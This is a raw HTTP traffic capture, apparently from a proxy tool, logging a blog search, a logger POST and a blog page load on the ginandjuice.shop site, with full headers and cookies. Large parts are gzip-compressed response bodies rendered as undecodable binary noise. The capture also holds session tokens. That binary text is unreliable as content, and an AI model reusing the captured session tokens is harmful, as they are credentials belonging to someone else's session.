\\u0002\\u0013\\ufffdi$\\u0026L\\ufffd*Nh\\u0003\\ufffd週C\\ufffd[WB\\ufffd0,ۄ\\ufffdVЩ\\ufffd\\ufffd/}(\\ufffd\\tg\\ufffd.\\ufffd\\ufffd\\ufffd\\u001c\\ufffd\\\\\\ufffd\\ufffd\\ufffdt\\ufffda\\ufffdg\\ufffd\\ufffd\\ufffd%A\\u0017\\ufffd\\ufffd\\ufffdn\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\t\\ufffd\\ufffdWT\\ufffdHW\\ufffd\\ufffdڄ4(\\ufffd\\u0007\\ufffd\\ufffd\\ufffd\\ufffdqo\\u0000\\u001a\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd-\\ufffd\\u0000\\ufffd\\u0007\\u001b\\ufffd\\ufffd\\ufffd;\\u0011\\ufffd\\u001d\\u0005'ЗH\\u000f5s\\ufffd4\\ufffd\\ufffdȒ\\u000ee\\ufffd\\ufffdT:v\\ufffd\\u0000\\ufffd/a\\ufffd$J\\ufffdr\\ufffdb\\ufffd\\u0003\\ufffd \\ufffd\\ufffdc\\ufffd\\ufffdpN7\\ufffd1;\\ufffd\\ufffd\\ufffd\\t\\ufffd!s\\ufffd\\ufffd\\u0011\\ufffd\\ufffd\\u001b\\u0016SDD\\ufffd\\u0016\\u0019\\ufffd%\\u0012K\\ufffdp\\ufffdp\\u0016\\ufffd\\ufffd\\ufffd\\ufffdp\\ufffd3\\ufffdh\\ufffd\\ufffd\\ufffdWj\\ufffd\\ufffd\\ufffdB\\u0019\\ufffd\\u0003(\\u0014\\ufffd\\ufffd*\\ufffd\\ufffd\\ufffd\\ufffdXk`\\ufffd\\ufffd\\ufffd4\\u0017F\\ufffd\\ufffd\\u001b\\u0011\\ufffdCY*-Z\\ufffd\\ufffdhN\\ufffd\\ufffdӃ[\\ufffd]\\ufffd\\ufffd3\\ufffdz\\ufffd/!\\ufffd\\u000e3\\ufffd\\ufffd\\ufffd\\ufffdⲖ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdb\\ufffd\\ufffdAE\\u0008\\ufffd\\\\(]5U\\ufffdaKʷ\\nF\\ufffd\\u0006I)\\ufffd\\ufffd\\ufffdK\\ufffd\\u0014\\ufffd\\u001fwy\\ufffd=\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd6\\ufffd8\\ufffd\\ufffd\\u000e\\u0006\\ufffd.\\ufffd\\ufffd#\\u0012^u3N\\ufffd\\\\z5\\ufffdx\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\t}\\ufffd\\ufffd\\ufffd\\ufffd}|\\ufffdCI\\ufffde\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000bzw\\ufffdf$\\ufffdث\\ufffdZ\\ufffdc~[{f\\u000c\\ufffd\\u0018\\nc\\ufffd\\ufffdvà\\ufffdˁƺ\\ufffd\\u00132I%\\ufffd\\ufffd\\u0007VH\\ufffdP4\\ufffd\\ufffdY\\u0007K\\ufffd\\ufffd\\ufffd\\ufffd~jM:\\ufffdasbN\\ufffdЪ\\ufffd\\ufffdɲ\\ufffd\\u0018a\\ufffd\\ufffd\\u00062~\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd.\\ufffd\\ufffd\\u0004\\ufffd^Aj\\ufffd\\ufffd\\ufffd\\ufffdf\\ufffdͥ\\ufffd\\ufffd\\ufffdzuY\\ufffdM^\\ufffdK\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd1\\u0010\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0004\\ufffd\\ufffd\\u000eԪ+\\ufffd\\ufffd\\u00264FC\\ufffd\\ufffd\\ufffd@\\ufffd\\ufffd\\ufffd\\u0003vd\\ufffd7-ԁRF\\ufffd\\u0000\\ufffdߝ\\ufffd\\ufffd\\ufffdV\\u0017\\ufffd\\ufffd\\ufffd\\u0018\\ufffd\\ufffd\\ufffdt\\ufffd\\ufffd|\\ufffd\\ufffd\\u003c\\ufffd%P\\t\\ufffd\\ufffd\\ufffdޤS{kn~\\ufffd\\ufffd\\r\\ufffdx\\u0002\\ufffd\\u003eZP\\ufffdf\\ufffdF\\u0015\\ufffdfG\\u0008i~\\ufffd;\\u001akO0j\\u0004?1\\ufffdb\\u001cE\\ufffd\\ufffd\\u001el\\ufffdd\\ufffdj\\u0008\\ufffdmQ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdK\\u0005{\\ufffd\\u003e\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd;\\ufffd\\ufffd\\ufffd\\ufffd\\u0012\\ufffd\\u0002\\r\\ufffdN\\u0003\\ufffd\\ufffd\\ufffdG0\\ufffd\\ufffdr|\\ufffd\\ufffd\\ufffd+\\ufffd~\\ufffd\\ufffdIH`\\ufffd\\ufffd\\u0013h\\ufffd\\ufffd\\ufffdnv$\\ufffdW\\ufffd\\ufffd\\ufffd\\ufffd\\u000c\\\\\\ufffd\\u000e9ﯟ\\\"\\u003e\\ufffdu\\ufffd\\u0014\\ufffd\\ufffd/\\ufffd\\ufffdk\\ufffd\\ufffd[\\ufffd\\ufffd\\ufffd\\u001ev\\ufffd\\u000e\\ufffd%\\ufffd\\ufffd\\ufffd\\u0018\\u000e\\ufffd)d%\\u0011\\ufffd\\ufffd/ 7ڿ\\ufffd\\ufffd\\u0013o\\u0004\\ufffdo\\ufffd!\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2075\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:07 GMT\\r\\nSet-Cookie: AWSALB=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s; Expires=Thu, 14 Sep 2023 15:34:07 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s; Expires=Thu, 14 Sep 2023 15:34:07 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:08+05:30\",\"url\":\"https://ginandjuice.shop/logger\",\"request\":{\"header\":{\"Accept\":\"*/*\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Content-Length\":\"34\",\"Content-Type\":\"text/plain;charset=UTF-8\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s; AWSALBCORS=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s\",\"Origin\":\"https://ginandjuice.shop\",\"Referer\":\"https://ginandjuice.shop/blog/?search=dadad\\u0026back=%2Fblog%2F\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"empty\",\"Sec-Fetch-Mode\":\"cors\",\"Sec-Fetch-Site\":\"same-origin\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"POST\",\"path\":\"/logger\",\"scheme\":\"https\"},\"body\":\"{\\\"search\\\":\\\"dadad\\\",\\\"back\\\":\\\"/blog/\\\"}\",\"raw\":\"POST /logger HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nContent-Length: 34\\r\\nContent-Type: text/plain;charset=UTF-8\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s; AWSALBCORS=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s\\r\\nOrigin: https://ginandjuice.shop\\r\\nReferer: https://ginandjuice.shop/blog/?search=dadad\\u0026back=%2Fblog%2F\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: empty\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Site: same-origin\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"0\",\"Date\":\"Thu, 07 Sep 2023 15:34:08 GMT\",\"Set-Cookie\":\"AWSALB=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g; Expires=Thu, 14 Sep 2023 15:34:08 GMT; Path=/, AWSALBCORS=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g; Expires=Thu, 14 Sep 2023 15:34:08 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nContent-Encoding: gzip\\r\\nDate: Thu, 07 Sep 2023 15:34:08 GMT\\r\\nSet-Cookie: AWSALB=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g; Expires=Thu, 14 Sep 2023 15:34:08 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g; Expires=Thu, 14 Sep 2023 15:34:08 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:10+05:30\",\"url\":\"https://ginandjuice.shop/blog/\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g; AWSALBCORS=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g\",\"Referer\":\"https://ginandjuice.shop/blog/?search=dadad\\u0026back=%2Fblog%2F\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/blog/\",\"scheme\":\"https\"},\"raw\":\"GET /blog/ HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g; AWSALBCORS=JGWQqbBbFYF0Ruume5uOLTakW9Tzw1jCFErY/0i5fb/9LxF9/fQL7ULoDMACjp2MTQT5l73mWyrEKN3g8afgJLXwSSzXbEsrTwBpQ0FUsHhnjYm0/64kwA590M8g\\r\\nReferer: https://ginandjuice.shop/blog/?search=dadad\\u0026back=%2Fblog%2F\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2651\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:10 GMT\",\"Set-Cookie\":\"AWSALB=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+; Expires=Thu, 14 Sep 2023 15:34:10 GMT; Path=/, AWSALBCORS=mMf3rdKgea2WMm1zlXRLuVlGnzwzbnCekLUEJC1ovH7rG4GvyvUURlqixQ3pFQSyaGvl4sxhMoY/ptxpaAO2y0WTm/iV8QTUpZ7boE6tcrN3sR+Ibwx2OvFmWPN+; Expires=Thu, 14 Sep 2023 15:34:10 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdZێۺ\\u0015}?_\\ufffd\\ufffdh\\u0026\\u0001\\ufffd֙KrZ\\ufffd\\ufffdAng2An\\ufffd\\u0004Mӗ\\ufffd\\ufffdh\\ufffd\\u0019\\ufffdTEʎ\\ufffd\\ufffd\\ufffd\\ufffd'\\ufffd7\\ufffd)\\ufffd\\ufffd\\ufffdM\\ufffd\\u001e\\ufffd\\ufffd\\ufffd\\u0026\\ufffd\\u0000y8A0\\ufffd\\ufffd\\ufffd\\ufffdM\\ufffd\\ufffd}\\ufffd\\u0006w\\ufffd\\ufffd}\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd,s\\ufffd\\u001a\\ufffd4\\u0008?\\u000c\\ufffd\\u0006\\ufffd\\ufffdix\\ufffd\\ufffdJ\\ufffdK\\ufffd\\ufffdb2\\ufffdKaMU\\u0026\\ufffdƊ\\ufffd\\ufffdL\\ufffdqbml\\u0013\\ufffd_\\ufffd\\u0017\\ufffd\\ufffd\\ufffd\\u0006V\\n5\\ufffd\\ufffdV\\ufffdfB\\ufffd}̈\\u0005\\u0018\\ufffd'\\ufffdL\\ufffda\\ufffd\\u0005\\ufffd\\ufffd\\ufffdn\\u0006\\ufffdp\\ufffdi\\ufffd\\ufffda4\\ufffdb^\\ufffd\\ufffdE,1\\ufffd\\t\\ufffd\\ufffd\\ufffd\\\\\\ufffd.\\u001b\\ufffdb\\u0026\\u0013\\ufffd\\ufffd/\\ufffd\\ufffd\\ufffd\\ufffd\\ufffda\\ufffd\\ufffdA\\ufffd\\ufffd6Q\\ufffd\\ufffdMJY8f\\ufffdd\\u0018\\ufffd\\u0004\\ufffdl\\ufffd\\ufffd\\u0013\\ufffd\\u0007'\\ufffdL\\ufffd\\ufffdy\\ufffd\\ufffd\\ufffdF\\ufffd8\\ufffd\\ufffd΢\\ufffd\\ufffd\\ufffd\\u0006l\\\\]`eN|q\\ufffdg\\u003e\\ufffd\\ufffd5\\ufffdĝ\\ufffdi\\ufffdx\\ufffd\\ufffd\\ufffd\\ufffdK\\ufffd\\ufffdm\\\\\\ufffdtJ\\ufffdH-\\ufffd\\ufffdΤfwy^\\u003cb/+\\ufffd\\u000f\\ufffd\\ufffdL1\\ufffd\\u0003I\\u0000N|\\ufffd\\ufffd\\ufffdؤ5\\ufffd\\ufffd\\u001e/\\ufffd\\u0016\\ufffdTΘL\\ufffdQ\\u001b0\\ufffd\\r\\rK\\u0011\\ufffd\\ufffdF\\ufffdDqk\\ufffdQ\\ufffdY/\\u0015A:\\ufffd\\ufffd\\r\\ufffd\\ufffd\\ufffd\\ufffdm\\ufffd\\ufffd}\\u0026-\\ufffd\\ufffdR\\ufffd\\ufffdX\\ufffd\\ufffd\\tU\\ufffdY\\ufffd4\\ufffd\\ufffdP6\\u0017c\\u0006\\u0019\\ufffdL\\ufffd\\ufffd\\u0015\\ufffdȩ\\u0016)\\ufffd\\ufffd\\ufffd9a\\ufffd\\ufffdS\\\"\\ufffd\\ufffdǶx\\ufffd\\u0018(\\ufffdtuh\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd7\\n0\\ufffd\\u0005_.\\ufffd\\ufffd\\u001b1\\ufffds\\u0003PA\\ufffd\\ufffd$\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u003e}9bCv\\ufffd\\ufffd6\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u001c\\ufffd\\ufffdޓл\\ufffdF\\ufffdnw\\ufffd\\ufffd\\u000c\\ufffd\\ufffda$'\\ufffd^{\\ufffd\\ufffdwY{\\ufffd\\ufffdד\\ufffd\\ufffd\\ufffd\\ufffdL\\ufffdf\\ufffd\\ufffd\\ufffd;3\\ufffdw\\ufffd\\ufffd\\ufffd\\ufffdG\\ufffd\\ufffd\\u0007*\\ufffd\\ufffd\\ufffd×\\\"=S*\\ufffd\\u000f\\ufffd\\u0007\\ufffd\\ufffd\\ufffd*\\ufffdIf\\ufffdA8\\ufffdbw\\ufffd\\ufffd]k;\\ufffd\\ufffdv\\ufffd\\ufffd\\ufffd4\\u001a\\ufffd\\ufffd\\u001c\\ufffd\\u0001k\\ufffd\\ufffd\\ufffd9\\ufffd\\\\\\u0026\\ufffd\\ufffd\\ufffd\\u0000\\ufffd\\ufffd\\ufffd\\rp\\ufffd\\ufffd\\ufffd\\u0002\\ufffd\\ufffdX\\u003c\\u0008\\ufffd}\\ufffd':\\ufffd\\ufffd\\ufffd\\ufffd\\u001dHɤp\\t\\ufffd͸\\u001c\\ufffd`\\ufffd\\u000e\\ufffd\\rl6\\ufffd\\ufffd޴\\ufffdp\\u0010\\r\\ufffd)ڷ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd+V\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdh\\ufffde\\ufffd%E\\ufffd\\u0016\\ufffd\\u0006\\ufffd\\ufffdzL\\ufffd\\ufffd\\u0003K`\\ufffd\\ufffd(e\\ufffd\\ufffd:\\ufffdm8\\ufffd\\ufffdX*\\ufffd\\ufffd\\ufffd\\u0013\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd9\\u0018\\ufffd\\ufffd\\ufffdQ\\u000cdr\\ufffd\\u0013\\ufffdQ\\ufffd\\ufffdJ\\ufffdݺ)+\\ufffd\\ufffd.\\u0013\\ufffdt\\ufffd\\ufffd\\ufffd8\\ufffd.\\ufffd\\u001c{\\u0019ɴ\\ufffd\\u0008\\ufffd-\\ufffd\\ufffdcS\\ufffdh\\ufffd\\ufffd\\u000e\\ufffd3e\\ufffd\\ufffd\\ufffd\\u001bĕ\\ufffdf,\\ufffd0\\u001a\\ufffd\\ufffd2\\ufffdx\\ufffd\\ufffdJ\\ufffd\\ufffdLZ\\ufffd\\ufffd׽\\ufffd\\u001dn\\ufffdΦ\\ufffd\\u0001\\u000cڢ\\ufffdʭ\\u0002\\ufffdS\\ufffd\\ufffd\\ufffd\\u0005}\\u001f\\ufffdX\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdm\\ufffdO\\ufffd\\ufffdm\\ufffd\\ufffd\\u001bፖ}}\\ufffdkph/\\ufffd\\u0015\\ufffd\\u0000\\ufffd;K\\ufffd\\ufffdvB\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdf\\ufffd\\ufffd-\\ufffd\\ufffd\\u001f\\ufffd\\ufffd\\ufffd}\\u0005`\\u0013^\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd1\\ufffd\\u0010^\\ufffd\\u0005\\u001e5\\ufffd\\ufffd#zi\\ufffd\\ufffd\\ufffd\\u0015\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd[\\u0007\\ufffd\\ufffd\\ufffdt\\ufffd\\u0004f\\ufffd+\\ufffd\\ufffd\\ufffdN)T\\u000c\\ufffdY.f\\ufffd\\u000b\\ufffd\\ufffdV\\ufffd4\\ufffd\\ufffd:\\ufffd-.xC\\ufffd\\ufffd\\ufffdb\\ufffdʻfD,\\ufffd\\ufffd\\u0004\\ufffd\\ufffd3\\u001c\\ufffdᵗ\\ufffd{S$|\\ufffd\\ufffd\\ufffd%\\u001dB\\ufffd^\\u0001\\ufffdn1\\ufffd\\ufffd`f\\ufffd\\u001bn\\ufffd\\ufffd4\\ufffdpc\\ufffd\\ufffd\\r\\ufffdC\\ufffd6\\ufffdG\\ufffd\\ufffd\\ufffdÖ\\ufffd\\ufffd*\\ufffd9X\\ufffdORQ\\ufffd\\ufffd\\ufffd\\ufffdL\\u000eZ\\ufffdɎ\\u0001V\\ufffd2\\ufffd`\\ufffd\\ufffd\\ufffd\\ufffdQ\\ufffd\\ufffd^\\ufffd\\ufffd0z\\u0007\\u0018\\ufffd\\u000e\\ufffd0$4d\\ufffd\\ufffdw̐Kf\\u0026\\u001d\\ufffd=\\ufffd\\u0007fR\\u0017U\\ufffd\\ufffdQj\\ufffd\\n\\ufffd\\u0013\\ufffd\\u0019\\ufffd\\ufffd\\u001b\\u001e\\\\\\ufffd\\ufffd}\\ufffdJl\\ufffd\\ufffd\\ufffdAHP\\ufffdEj\\ufffd\\ufffdd\\ufffd\\n\\u001d\\ufffd\\ufffd\\u003c\\ufffdd3\\ufffd*ф\\u0015\\ufffd\\u001e\\ufffd8hb\\u0012\\ufffd\\ufffdV\\ufffd\\\\\\ufffdf\\u0017B\\ufffd(\\ufffd4\\ufffd\\ufffd\\ufffd\\u001d'\\ufffdve\\u001b46F\\ufffd\\ufffd\\ufffd5X\\ufffd\\ufffdp\\ufffd\\ufffd퐽\\rmO_\\ufffd\\ufffd\\ufffd\\ufffd\\u001dl\\ufffdD\\ufffd+\\ufffd9O\\ufffd'\\ufffd$2\\ufffd6\\ufffd\\ufffd\\ufffd|q\\ufffd\\ufffd\\ufffdhm\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdF\\ufffd\\ufffd\\ufffd ;\\u001e=f/\\ufffd,k\\ufffd\\ufffd#^\\ufffd\\ufffdv\\ufffdb\\ufffdѰ\\ufffdB\\ufffdy\\ufffd=\\ufffd\\ufffd2\\ufffde\\ufffd\\u0014\\ufffdOqN\\ufffd\\ufffd\\ufffd͹v\\u003e\\ufffd\\u0011JQ^\\ufffd|@\\ufffd\\ufffd\\u0019w,C\\ufffd*(5E\\\"Np\\ufffd\\u0000M\\ufffd'\\ufffd?%Ky\\ufffdg\\ufffd\\ufffd\\u003e\\ufffd|,\\ufffd\\n\\ufffd\\ufffdW\\u000bvr\\ufffd9F9%\\ufffd\\ufffd\\ufffd1\\ufffdT\\ufffdr\\ufffd\\ufffd\\ufffd;e\\ufffd\\ufffd:\\ufffd\\ufffdX\\ufffdI\\ufffdLX\\u0004\\ufffd}va\\ufffd\\u000fx\\ufffd\\u0018\\u0019t\\ufffd\\u0019-X\\u0002B\\ufffd\\ufffdOk۾\\u001a\\ufffd\\ufffd\\ufffd\\ufffd\\u001c\\u0003\\ufffd]\\ufffd\\ufffd\\ufffd\\u0014sF\\ufffd\\ufffdw{{\\ufffd㻿\\u001fBN;!\\ufffd\\ufffd#B\\ufffdCIOM\\ufffd\\ufffd/)\\u000eك\\u0011\\ufffd,d\\ufffd\\ufffdG\\ufffdw\\ufffdxK\\ufffdA\\n2\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd^\\ufffd:2b\\ufffdA\\ufffd9\\u0014d\\u0026\\u0013\\u0001\\u003c\\ufffd\\ufffd%\\ufffd\\ufffd\\ufffd\\u0002O\\ufffd\\u0014\\ufffd\\u001a\\r];v\\ufffd\\ufffd\\u001cp2\\ufffdr\\ufffd\\ufffd\\ufffd\\ufffdx\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd1\\u0001i!\\ufffd\\u001ch\\u0012%/E\\ufffd=\\ufffd\\ufffd\\ufffd\\ufffd \\ufffd\\u000bp\\u0001\\ufffd\\u003eW\\u0016\\u000f\\ufffd\\ufffdL\\u0012_\\ufffd'\\u0001D\\u000f\\u0017\\ufffd\\u0012\\ufffd\\u001a\\u0012\\ufffd\\ufffd@\\u0002\\u0014\\ufffd\\u0002tN\\u003c\\ufffd\\u003c\\ufffd\\u0004\\ufffdӮ\\ufffd)\\u0001\\u0005:\\ufffd]\\ufffd\\u000bpVӎ3m\\u003cz\\ufffd\\ufffd\\ufffdٹUPg\\ufffd:\\n\\u003c\\ufffd\\ufffd\\u0000\\t\\ufffd\\ufffd2\\u0018\\u001a\\ufffd\\ufffdR`\\ufffd\\u0001C\\ufffd5\\ufffd\\u000emx\\ufffdA\\ufffdWt\\ufffdV@a\\ufffdnn\\ufffdK@\\u0007\\u0000jA%\\ufffd\\u0001\\u001e\\ufffd\\ufffd\\ufffdPe\\ufffd\\ufffdp\\ufffd\\ufffd\\u000b4\\ufffd\\t\\ufffd\\u0018L\\rz@꥘\\ufffd\\ufffd\\u0000\\ufffd[\\ufffd\\ufffd\\ufffd\\u001f\\u000f#ǝ0\\ufffd\\ufffd\\u0006\\ufffd\\ufffd}\\u0026˔}ȄP]\\ufffdPfrI^Ȼ\\u001c\\ufffd\\u001b\\ufffd\\ufffd\\u001bs\\u0026\\ufffd\\ufffd\\ufffdZ\\ufffdƲt\\u0019\\ufffd\\u0018,\